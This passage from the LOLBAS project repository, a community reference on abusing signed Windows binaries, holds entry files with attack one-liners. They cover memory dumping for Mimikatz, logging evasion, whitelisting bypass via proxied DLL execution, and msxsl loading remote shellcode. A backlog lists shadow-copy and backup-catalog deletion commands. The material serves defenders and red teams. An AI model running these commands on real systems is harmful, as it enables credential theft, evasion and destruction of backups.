flag will create a Mimikatz compatibile dump file.\n```\n \n* Resources: \n * https://twitter.com/countuponsec/status/910969424215232518\n * https://twitter.com/countuponsec/status/910977826853068800\n * https://support.microsoft.com/en-us/help/917825/how-to-use-the-sqldumper-exe-utility-to-generate-a-dump-file-in-sql-se\n \n* Full path: \n * C:\\Program Files\\Microsoft SQL Server\\90\\Shared\\SQLDumper.exe\n * C:\\Program Files (x86)\\Microsoft Office\\root\\vfs\\ProgramFilesX86\\Microsoft Analysis\\AS OLEDB\\140\\SQLDumper.exe\n \n* Notes: Thanks to Luis Rocha - @countuponsec \n \n" }, { "path": "Archive-Old-Version/OtherMSBinaries/Sqlps.exe.md", "content": "## Sqlps.exe\n* Functions: Execute, evade logging\n```\n\nSqlps.exe -noprofile\nDrop into a SQL Server PowerShell console without Module and ScriptBlock Logging.\n```\n \n* Resources: \n * https://twitter.com/bryon_/status/975835709587075072\n \n* Full path: \n * C:\\Program files (x86\\Microsoft SQL Server\\100\\Tools\\Binn\\sqlps.exe\n \n* Notes: Thanks to Bryon - @bryon_ \n \n" }, { "path": "Archive-Old-Version/OtherMSBinaries/Tracker.exe.md", "content": "## Tracker.exe\n* Functions: Execute\n```\n\nTracker.exe /d .\\calc.dll /c C:\\Windows\\write.exe\nUse tracker.exe to proxy execution of an arbitrary DLL into another process. Since tracker.exe is also signed it can be used to bypass application whitelisting solutions.\n```\n \n* Resources: \n * https://twitter.com/subTee/status/793151392185589760\n * https://attack.mitre.org/wiki/Execution\n \n* Full path: \n * \n \n* Notes: Thanks to Casey Smith - @subTee \n \n" }, { "path": "Archive-Old-Version/OtherMSBinaries/csi.exe.md", "content": "## csi.exe\n* Functions: Execute\n```\n\ncsi.exe file\nUse csi.exe to run unsigned C# code.\n```\n \n* Resources: \n * https://twitter.com/subTee/status/781208810723549188\n * https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/\n \n* Full path: \n * c:\\Program Files (x86)\\Microsoft Visual Studio\\2017\\Community\\MSBuild\\15.0\\Bin\\Roslyn\\csi.exe\n * c:\\Program Files (x86)\\Microsoft Web Tools\\Packages\\Microsoft.Net.Compilers.X.Y.Z\\tools\\csi.exe\n \n* Notes: Thanks to Casey Smith - @subtee \n \n" }, { "path": "Archive-Old-Version/OtherMSBinaries/dnx.exe.md", "content": "## dnx.exe\n* Functions: Execute\n```\n\ndnx.exe consoleapp\nExecute C# code located in the consoleapp folder via 'Program.cs' and 'Project.json' (Note - Requires dependencies)\n```\n \n* Resources: \n * https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/\n \n* Full path: \n * N/A\n \n* Notes: Thanks to Matt Nelson - @enigma0x3 \n \n" }, { "path": "Archive-Old-Version/OtherMSBinaries/msxsl.exe.md", "content": "## msxsl.exe\n* Functions: Execute\n```\n\nmsxsl.exe customers.xml script.xsl\nRun COM Scriptlet code within the script.xsl file (local).\n\nmsxls.exe https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml\nRun COM Scriptlet code within the shellcode.xml(xsl) file (remote).\n```\n \n* Resources: \n * https://twitter.com/subTee/status/877616321747271680\n * https://github.com/3gstudent/Use-msxsl-to-bypass-AppLocker\n \n* Full path: \n * N/A\n \n* Notes: Thanks to Casey Smith - @subTee (Finding), 3gstudent - @3gstudent (Remote) \n \n" }, { "path": "Archive-Old-Version/OtherMSBinaries/rcsi.exe.md", "content": "## rcsi.exe\n* Functions: Execute\n```\n\nrcsi.exe bypass.csx\nUse embedded C# within the csx script to execute the code.\n```\n \n* Resources: \n * https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/\n \n* Full path: \n * \n \n* Notes: Thanks to Matt Nelson - @enigma0x3 \n \n" }, { "path": "Archive-Old-Version/OtherMSBinaries/te.exe.md", "content": "## te.exe\n* Functions: Execute\n```\n\nte.exe bypass.wsc\nRun COM Scriptlets (e.g. VBScript) by calling a Windows Script Component (WSC) file.\n```\n \n* Resources: \n * https://twitter.com/gn3mes1s/status/927680266390384640?lang=bg\n \n* Full path: \n * \n \n* Notes: Thanks to Giuseppe N3mes1s - @gN3mes1s \n \n" }, { "path": "Archive-Old-Version/OtherMSBinaries/vsjitdebugger.exe.md", "content": "## vsjitdebugger.exe\n* Functions: Execute\n```\n\nVsjitdebugger.exe calc.exe\nExecutes calc.exe as a subprocess of Vsjitdebugger.exe.\n```\n \n* Resources: \n * https://twitter.com/pabraeken/status/990758590020452353\n \n* Full path: \n * c:\\windows\\system32\\vsjitdebugger.exe\n \n* Notes: Thanks to Pierre-Alexandre Braeken - @pabraeken \n \n" }, { "path": "Archive-Old-Version/OtherMSBinaries/winword.exe.md", "content": "## winword.exe\n* Functions: Execute\n```\n\nwinword.exe /l dllfile.dll\nLaunch DLL payload.\n```\n \n* Resources: \n * https://twitter.com/vysecurity/status/884755482707210241\n * https://twitter.com/Hexacorn/status/885258886428725250\n \n* Full path: \n * c:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\WINWORD.EXE\n \n* Notes: Thanks to Vincent Yiu - @@vysecurity (Cmd), Adam - @Hexacorn (Internals) \n \n" }, { "path": "Archive-Old-Version/OtherScripts/testxlst.js.md", "content": "## testxlst.js\n* Functions: Execute\n```\n\ncscript testxlst.js C:\\test\\test.xml c:\\test\\test.xls c:\\test\\test.out\nTest Jscript included in Python tool to perform XSL transform (for payload execution).\n\nwscript testxlst.js C:\\test\\test.xml c:\\test\\test.xls c:\\test\\test.out\nTest Jscript included in Python tool to perform XSL transform (for payload execution).\n```\n \n* Resources: \n * https://twitter.com/bohops/status/993314069116485632\n \n* Full path: \n * c:\\python27amd64\\Lib\\site-packages\\win32com\\test\\testxslt.js (Visual Studio Installation)\n \n* Notes: Thanks to Jimmy - @bohops \n \n" }, { "path": "Backlog.txt", "content": "Ntsd.exe\t\tDebugger\nKd.exe\t\t\tDebugger\nCertreq.exe\t\tExfiltrate data\nDbghost.exe\nRobocopy.exe\tNeeds examples\nVssadmin.exe\tvssadmin.exe Delete Shadows /All /Quiet\nnotepad.exe\t\tGui - Download files using Open (A lot of other programs as well) LOLGuiBins?\nwbadmin.exe \twbadmin delete catalog -quiet\npsexec.exe\t\tRemote execution of code\njava.exe\t\t-agentpath: or -agentlib:\nWinMail.exe\t\tDLL Sideloading\nodbcad32.exe\tGUI DLL Loading\nWseClientSvc.exe\t- https://blog.huntresslabs.com/abusing-trusted-applications-a719219220f\ndvdplay.exe\t\thttp://www.hexacorn.com/blog/2018/03/15/beyond-good-ol-run-key-part-73/\nhttp://www.hexacorn.com/blog/category/living-off-the-land/pass-thru-command-execution/\nhttps://twitter.com/Hexacorn/status/993498264497541120\nhttps://twitter.com/Hexacorn/status/994000792628719618\nhttps://github.com/MoooKitty/Code-Execution\n" }, { "path": "CONTRIBUTING.md", "content": "# Contributing\n\nFirst, thank you for contributing!\n\nWhen submitting new LOLs, please submit a `yml` sourcefile (`yml/`) as these are used to generate everything else. Next, review `README.md` and ensure that your LOL meets the criteria--interesting or unexpected functionality that would be useful to an attacker.\n\nThere's nothing special about the format. Just base your entry off an existing one and modify as required. Please ensure that you do not add or remove any of the fields; all are required. \n\nThere is a template that can be used located here if you do not want to copy one of the existing LOLs: https://github.com/LOLBAS-Project/LOLBAS/blob/master/YML-Template.yml \nIt is also important to use these (https://github.com/LOLBAS-Project/LOLBAS/blob/master/CategoryList.md) categories, since they relate to the web portal and it is crucial to get them right for everything to work.\n\nLooking forward for your contributions. \n" }, { "path": "CategoryList.md", "content": "CATEGORY LIST\n\nADS \nAWL bypass \nCompile \nConceal \nCopy \nCredentials \nDecode \nDownload \nDump \nEncode \nExecute \nReconnaissance \nTamper \nUAC bypass \nUpload \n" }, { "path": "LICENSE", "content": " GNU GENERAL PUBLIC LICENSE\n Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. \n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n Preamble\n\n The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works. By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users. We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors. You can apply it to\nyour programs, too.\n\n When we speak of free software, we are referring to freedom, not\nprice. Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights. Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received. You must make sure that they, too, receive\nor can get the source code. And you must show them these terms so they\nknow their rights.\n\n Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software. 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Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License. If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n 9. Acceptance Not Required for Having Copies.\n\n You are not required to accept this License in order to receive or\nrun a copy of the Program. Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance. However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work. These actions infringe copyright if you do\nnot accept this License. Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n 10. Automatic Licensing of Downstream Recipients.\n\n Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License. You are not responsible\nfor enforcing compliance by third parties with this License.\n\n An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations. If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License. For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n 11. Patents.\n\n A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based. The\nwork thus licensed is called the contributor's \"contributor version\".\n\n A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version. For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement). To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients. \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License. You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n 12. No Surrender of Others' Freedom.\n\n If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License. If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all. For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n 13. Use with the GNU Affero General Public License.\n\n Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work. The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n 14. Revised Versions of this License.\n\n The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time. Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n Each version is given a distinguishing version number. If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation. If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n Later license versions may give you additional or different\npermissions. However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n 15. Disclaimer of Warranty.\n\n THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n 16. Limitation of Liability.\n\n IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n 17. Interpretation of Sections 15 and 16.\n\n If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n END OF TERMS AND CONDITIONS\n\n How to Apply These Terms to Your New Programs\n\n If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n To do so, attach the following notices to the program. It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n \n Copyright (C) \n\n This program is free software: you can redistribute it and/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program. If not, see .\n\nAlso add information on how to contact you by electronic and paper mail.\n\n If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n Copyright (C) \n This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n This is free software, and you are welcome to redistribute it\n under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License. Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n.\n\n The GNU General Public License does not permit incorporating your program\ninto proprietary programs. If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library. If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License. But first, please read\n.\n" }, { "path": "NOTICE.md", "content": "## Purpose\r\n\r\n* The LOLBAS Project is a community-driven open-source resource for documenting \"Living-Off-The-Land\" commands and techniques that are associated with common \"Living-Off-The-Land\" binaries (lolbins), scripts, and libraries within Microsoft(R) Windows(R) and associated software products. This notice serves as the primary document for terms, disclaimer, usage, structure, and license acknowledgements.\r\n\r\n* Please refer to the README.md for \"Living-Off-The-Land\" criteria and definition.\r\n\r\n* \"LOLBAS Project\" and \"LOLBAS\" are used interchangeably in this document and refer to the \"LOLBAS Project\"\r\n\r\n## Project License\r\n\r\n* The LOLBAS Project is licensed under GPL 3.0. For license information, please refer to the [LICENSE file](/LICENSE).\r\n\r\n## Definitions\r\n\r\n* Submitter: An individual, group, organization, or entity that contributes to the LOLBAS project through project maintenance, issue submission, Pull Request (PR) submission, etc.\r\n* Consumer: An individual, group, organization, or entity that uses (\"consumes\") the LOLBAS project resources through the web portal or repository interfaces and capabilities.\r\n* LOLBAS: Living Off The Land Binaries and Scripts\r\n* LOLBIN: Living Off The Land Binary\r\n* LOL/\"lol\": Living Off The Land\r\n\r\n## Project Terms of Use & Disclaimers\r\n\r\n* The content presented in the LOLBAS Project, an open-source project, is for educational and informational purposes only. By using this project, including information presented on all project pages and resources in the project repository, you agree that the project authors and maintainers shall not be liable and/or held responsible/accountable for any damages resulting from the presentation, use, or misuse of the information contained on any project pages and repository documents.\r\n\r\n* The LOLBAS Project does NOT claim that detection resources/information provided on any project pages and repository documents offer complete and proper defensive/analytic coverage for documented and undocumented LOLBIN commands, techniques, and/or use cases. \r\n\r\n* The LOLBAS project is a consumable resource for commercial entities, private entities, and individuals. LOLBAS includes and references resources from open and public sources to enhance content quality, however, the LOLBAS Project does not endorse any particular entity, vendor, project, group, or individual. Furthermore, use of the LOLBAS project or any LOLBAS site/repository content by commercial entities, private entities, and individuals does not imply endorsement.\r\n\r\n* LOLBAS references and links to many external/3rd party resources. Linked sites and references are not under the control of the LOLBAS Project, and as such, the LOLBAS Project is not responsible for content of external/3rd party resource sites. Furthermore, linking of external/3rd party resources does not imply endorsement of those who manage or maintain those resources.\r\n\r\n## Project Usage\r\n\r\n* For consuming content on the LOLBAS Project, please refer to the content on this page, navigate to resources under [/yml](/yml), and/or visit: https://lolbas-project.github.io.\r\n* For making a contribution to the LOLBAS Project, please refer to this notice, [README.md](/README.md), and [CONTRIBUTING.md](/CONTRIBUTING.md).\r\n\r\n## LOLBAS Entry Structure & Information\r\n\r\n* `Name` Field: The name of the LOL binary, script, or library resource.\r\n\r\n* `Description` Field: A short sentence of the legitimate functionality of the 'lol' resource.\r\n\r\n* `Author` Field: The submitter of the 'lol' resource.\r\n\r\n* `Created` Field: The date when the 'lol' resource is submitted or this entry is created.\r\n\r\n* `Commands` Field: Contains subfields to describe usage of the 'lol' resource. Includes:\r\n * `Command` (the command or sequence of commands/details needed to perform the 'lol' effect);\r\n * `Description` (details of the 'lol' command behavior);\r\n * `Usecase` (details of the use case such as the purpose and technique;\r\n * `Category` (LOLBAS categories include AWL Bypass - Application Control Bypass; Execution; Defense Evasion; Download, Upload, Copy, Encode, Decode, Compile, ADS - Alternate Data Stream, UAC Bypass - User Account Control Bypass, Credentials - Harvest/Dump Credentials, Reconnaissance, Tamper);\r\n * `Privilege` (User or Administrator level privileges required);\r\n * `MitreId`[^1] (MITRE (R) ATT&CK(R) Tactic/Technique mapping);\r\n * `OperatingSystem` (version such as Windows 10).\r\n\r\n* `FullPath` Field: Includes the `Path` subfield to record commonly located file system paths of the 'lol' resource.\r\n\r\n* `Code Sample` Field: Includes the `Code` subfield to specify a link to a code snippet (if applicable).\r\n\r\n* `Detection` Field: Contains subfields to describe potential detection criteria of the 'lol' resource. Includes:\r\n * `Sigma`[^2] (a link to Sigma detection rule on Sigma's git repository);\r\n * `Splunk`[^2] (a link to Splunk detection rule on Splunk's git repository);\r\n * `Elastic`[^2] (a link to Elastic detection rule on Elastic's git repository);\r\n * `IOC`[^3] (to provide information about indicators of compromise);\r\n * `Analysis`[^4] (a placeholder for linked resources - e.g. blog, gist, write-up, Twitter post, etc.).\r\n\r\n* `Resources` Field[^5]: The `Link` subfield is a placeholder for a referenced resource link about the 'lol' resource.\r\n\r\n* `Acknowledgements` Field: Includes the following subfields:\r\n * `Person` (identifies the individual who originally discovered the technique/command);\r\n * `Handle` (the person's Twitter handle if applicable).\r\n\r\n\r\n[^1]: Note on MITRE(R) ATT&CK(R) Reference Model: Since the ATT&CK(R) model is widely adopted, LOLBAS attempts map to the appropriate technique if applicable. The applicable ATT&CK(R) license appears in the 'Licenses' section.\r\n\r\n[^2]: Note on Detection References: LOLBAS does not guarantee that a particular detection reference included by a submitter/maintainer will detect associated LOLBIN behavior. The reference is simply an acknowledgment that a resource exists, and the resource could potentially be useful for a consumer. Furthermore, LOLBAS does not endorse any referenced project over another, but rather, appreciates the efforts made by individuals and organizations for providing publicly available resources/projects. Consumers of such projects are encouraged to understand a referenced project's Terms of Use and abide by the project's licensing criteria if applicable. \r\n\r\n[^3]: Note on Detection IOCs: LOLBAS does not guarantee that a particular detection IOC included by a submitter/maintainer will detect associated LOLBIN behavior.\r\n\r\n[^4]: Note on Detection Analysis Links: A linked analysis resource under the Detection Field (e.g. blog, gist, write-up, etc.) and contents provided by a submitter/maintainer are not endorsed by the LOLBAS project. However, LOLBAS does appreciate the efforts made by individuals and organizations for providing publicly available resources. Consumers of the 'Analysis' resource are encouraged to understand the respective resource's Terms of Use and abide by the resource's licensing criteria if applicable.\r\n\r\n[^5]: Note on Resource Links: A linked resource under the Resources Field (e.g. blog, gist, write-up, Twitter post, etc.) and contents provided by submitters/maintainers are not endorsed by the LOLBAS project. However, LOLBAS does appreciate the efforts made by individuals and organizations for providing publicly available resources. Consumers of the linked resource are encouraged to understand the respective resource's Terms of Use and abide by the resource's licensing criteria if applicable.\r\n\r\n## MITRE ATT&CK License\r\n\r\n* MITRE ATT&CK Terms of Use Link: https://attack.mitre.org/resources/terms-of-use/\r\n\r\nLICENSE\r\nThe MITRE Corporation (MITRE) hereby grants you a non-exclusive, royalty-free license to use ATT&CK® for research, development, and commercial purposes. Any copy you make for such purposes is authorized provided that you reproduce MITRE's copyright designation and this license in any such copy.\r\n\r\n\"© 2021 The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation.\"\r\n\r\nDISCLAIMERS\r\nMITRE does not claim ATT&CK enumerates all possibilities for the types of actions and behaviors documented as part of its adversary model and framework of techniques. Using the information contained within ATT&CK to address or cover full categories of techniques will not guarantee full defensive coverage as there may be undisclosed techniques or variations on existing techniques not documented by ATT&CK.\r\n\r\nALL DOCUMENTS AND THE INFORMATION CONTAINED THEREIN ARE PROVIDED ON AN \"AS IS\" BASIS AND THE CONTRIBUTOR, THE ORGANIZATION HE/SHE REPRESENTS OR IS SPONSORED BY (IF ANY), THE MITRE CORPORATION, ITS BOARD OF TRUSTEES, OFFICERS, AGENTS, AND EMPLOYEES, DISCLAIM ALL WARRANTIES, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTY THAT THE USE OF THE INFORMATION THEREIN WILL NOT INFRINGE ANY RIGHTS OR ANY IMPLIED WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.\r\n\r\n## Other Notices\r\n\r\n* Microsoft(R) Windows(R) is a registered trademark of the Microsoft Corporation\r\n" }, { "path": "README.md", "content": "

\n \n \n \n \n \n \n

\n\n# Living Off The Land Binaries and Scripts (and now also Libraries)\n\n\n\nAll the different files can be found behind a fancy frontend here: https://lolbas-project.github.io (thanks @ConsciousHacker for this bit of eyecandy and the team over at https://gtfobins.github.io/).\nThis repo serves as a place where we maintain the YML files that are used by the fancy frontend.\n\n## Goal\n\nThe goal of the LOLBAS project is to document every binary, script, and library that can be used for Living Off The Land techniques.\n\n## Criteria\n\nA LOLBin/Lib/Script must:\n\n* Be a Microsoft-signed file, either native to the OS or downloaded from Microsoft.\n* Have extra \"unexpected\" functionality. It is not interesting to document intended use cases.\n * Exceptions are application whitelisting bypasses\n* Have functionality that would be useful to an APT or red team\n\nInteresting functionality can include:\n\n* Executing code\n * Arbitrary code execution\n * Pass-through execution of other programs (unsigned) or scripts (via a LOLBin)\n* Compiling code\n* File operations\n * Downloading\n * Upload\n * Copy\n* Persistence\n * Pass-through persistence utilizing existing LOLBin\n * Persistence (e.g. hide data in ADS, execute at logon)\n* UAC bypass\n* Credential theft\n* Dumping process memory\n* Surveillance (e.g. keylogger, network trace)\n* Log evasion/modification\n* DLL side-loading/hijacking without being relocated elsewhere in the filesystem.\n\nWe do not approve binaries that allows for netntlm coercing, since most Windows binaries allows for that. Only exception is binaries that allows that on other than default ports (such as rpcping) or can allow direct credential theft. \n\n## Contributing\n\nIf you have found a new LOLBin or LOLScript that you would like to contribute, please review the contributing guidelines located here: https://github.com/LOLBAS-Project/LOLBAS/blob/master/CONTRIBUTING.md\n\nA template for the required format has been provided here: https://github.com/LOLBAS-Project/LOLBAS/blob/master/YML-Template.yml\n\n## The History of the LOLBin\n\nThe phrase \"Living off the land\" was coined by Christopher Campbell (@obscuresec) & Matt Graeber (@mattifestation) at [DerbyCon 3](https://www.youtube.com/watch?v=j-r6UonEkUw).\n\nThe term LOLBins came from a Twitter discussion on what to call binaries that can be used by an attacker to perform actions beyond their original purpose. Philip Goh (@MathCasualty) [proposed LOLBins](https://twitter.com/MathCasualty/status/969174982579273728). A highly scientific internet poll ensued, and after a general consensus (69%) was reached, the name was [made official](https://twitter.com/Oddvarmoe/status/985432848961343488). Jimmy (@bohops) [followed up with LOLScripts](https://twitter.com/bohops/status/984828803120881665). No poll was taken.\n\nCommon hashtags for these files are:\n\n* #LOLBin\n* #LOLBins\n* #LOLScript\n* #LOLScripts\n* #LOLLib\n* #LOLLibs\n\nOur primary maintainer (@oddvarmoe) of this project did a talk at DerbyCon 2018 called: #Lolbins Nothing to LOL about! - https://www.youtube.com/watch?v=NiYTdmZ8GR4\nThis talk goes over the history of this project. \n\n## Maintainers\n\nThe following folks help maintain the LOLBAS Project on their personal time:\n\n* Oddvar Moe ([@oddvarmoe](https://twitter.com/Oddvarmoe))\n* Jimmy Bayne ([@bohops](https://twitter.com/bohops))\n* Conor Richard ([@xenosCR](https://twitter.com/xenosCR))\n* Chris 'Lopi' Spehn ([@ConsciousHacker](https://twitter.com/ConsciousHacker))\n* Liam ([@liamsomerville](https://twitter.com/liamsomerville))\n* Wietze ([@Wietze](https://twitter.com/@Wietze))\n* Jose Hernandez ([@_josehelps](https://twitter.com/_josehelps))\n\n## Thanks\n\nAs with many open-source projects, this one is the product of a 